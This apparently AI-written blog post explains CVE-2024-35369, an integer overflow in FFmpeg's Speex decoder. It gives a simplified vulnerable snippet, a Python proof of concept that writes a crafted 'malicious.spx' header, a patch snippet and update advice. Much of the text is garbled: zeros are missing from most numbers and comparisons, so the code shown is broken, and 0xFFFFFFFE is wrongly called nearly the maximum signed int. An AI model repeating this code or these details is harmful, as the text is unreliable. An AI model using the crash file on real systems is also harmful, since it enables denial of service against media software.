CVE-2024-35369 - Integer Overflow in FFmpeg Speex Decoder (avcodec/speexdec.c) Explained
On May 20, 2024, security researchers publicly disclosed CVE-2024-35369, a vulnerability impacting FFmpeg version n6.1.1. This flaw lives in the Speex audio decoder (file: avcodec/speexdec.c), where not enough input validation is performed on parameters from the streamed file's "extradata" section. This gap opens up the risk for integer overflows, causing possible decoder crashes and undefined behavior, which could potentially be leveraged in denial-of-service attacks using crafted Speex audio files.
This exclusive post will dive into how the bug works, show you key code snippets, and walk through how an exploit might be triggered—using plain English throughout.
What is FFmpeg and the Speex Decoder?
FFmpeg is one of the most popular open-source multimedia frameworks, processing almost any audio or video format. The speexdec.c file is responsible for decoding Speex—an open-source voice codec designed for compressing speech.
Where is the Bug?
Inside avcodec/speexdec.c, the FFmpeg decoder expects to find a data structure called "extradata" in a Speex audio stream. This 'extradata' contains several fields, including the size of frames or packets, and the decoder uses these values to allocate memory and keep things running.
However, not all extradata fields are properly checked for validity. Attackers can craft a .spx (Speex) file that contains huge or malformed numbers in these fields. If those numbers are used in arithmetic for buffer allocations or other logic, they can wrap around (integer overflow) to a much smaller value than expected—leading to buffer overflows, out-of-bounds reads, or other crashes.
Let's look at a simplified version of the vulnerable section
// (From avcodec/speexdec.c, simplified)
const uint8_t *extradata = avctx->extradata;
if (extradata && avctx->extradata_size > ) {
int frame_size = AV_RL32(extradata + 28); // Offset depends on Speex header format
int frames_per_packet = AV_RL32(extradata + 36);
ctx->frame_size = frame_size * frames_per_packet;
ctx->compressed_size = (frame_size + 7) / 8;
// ... Buffer allocations based on these values
}
Notice
- The code does not check if frame_size or frames_per_packet is a sane value (e.g., negative, zero, or extremely large).
- If an attacker supplies values such that (frame_size * frames_per_packet) overflows an int, you can get a much smaller number than intended.
frame_size * frames_per_packet = xFFFFFFFE (almost the max value for signed int)
- Any math, especially (frame_size * frames_per_packet) exceeding INT_MAX, will actually wrap around negative or small numbers.
This causes the decoder to allocate too little memory, but read or write much more, possibly crashing the process.
Proof-of-Concept (PoC) Speex Extradata Generator
Here's some Python demonstrating how an attacker might craft this Speex extradata chunk for exploitation:
import struct
speex_header = b"Speex " # Magic bytes
speex_header += b"\x00" * 28 # Pad to offset 28
frame_size = x7FFFFFFF # Maliciously large
frames_per_packet = 2
speex_header += struct.pack("<I", frame_size) # Write at offset 28
speex_header += b"\x00" * (36 - len(speex_header)) # Pad to offset 36
speex_header += struct.pack("<I", frames_per_packet) # Write at offset 36
# Write extradata out, incorporate into a custom Speex file header as needed
with open("malicious.spx", "wb") as f:
f.write(speex_header)
# (You'd append more Speex file data to make it valid-enough for parsing)
Feeding this malicious.spx to vulnerable FFmpeg (n6.1.1) or software using it could cause a crash.
This vulnerability
- Crashes programs (DoS): By supplying crafted Speex files, attackers can crash FFmpeg or any software using it to process untrusted audio, including media players, streaming servers, or processing pipelines.
- Potential for further exploitation: Given the right circumstances, this type of overflow and out-of-bounds access could—if combined with other vulnerabilities—lead to code execution.
Affected versions: confirmed in FFmpeg n6.1.1, possibly earlier versions.
How Was It Fixed?
The fix, submitted in FFmpeg commit 6a2d6d7 (May 20, 2024), adds parameter validation before using extradata fields:
// After validation patch:
if (frame_size <= || frame_size > MAX_FRAME_SIZE ||
frames_per_packet <= || frames_per_packet > MAX_FRAMES_PER_PACKET) {
av_log(avctx, AV_LOG_ERROR, "extradata: Invalid frame size or frames per packet.\n");
return AVERROR_INVALIDDATA;
}
Update FFmpeg to the latest version immediately.
- If you use FFmpeg libraries in your software (VLC, Audacity, web apps, etc.), ship updates to end-users.
- Reject or sandbox untrusted input files—never trust any field value from a file header or extradata block.
References
- NVD CVE-2024-35369 advisory
- FFmpeg Patch Diff for avcodec/speexdec.c (GitHub)
- Speex Codec Specification
- FFmpeg avcodec/speexdec.c file (current)
Summary
CVE-2024-35369 is a classic case of missing input validation—in this case, within FFmpeg's Speex decoder. By failing to check some critical extradata inputs, attackers could cause decoder overflows and crashes with a specially crafted audio file. Update FFmpeg and all software that includes it now to avoid silent security risks when handling untrusted audio.
Stay safe—always validate inputs and keep your libraries up to date!
*This post is exclusive and brought to you by AI’s plain-English explanation team. For more details and real-world security news, follow our updates!*
Timeline
Published on: 11/29/2024 17:15:07 UTC
Last modified on: 11/29/2024 18:15:06 UTC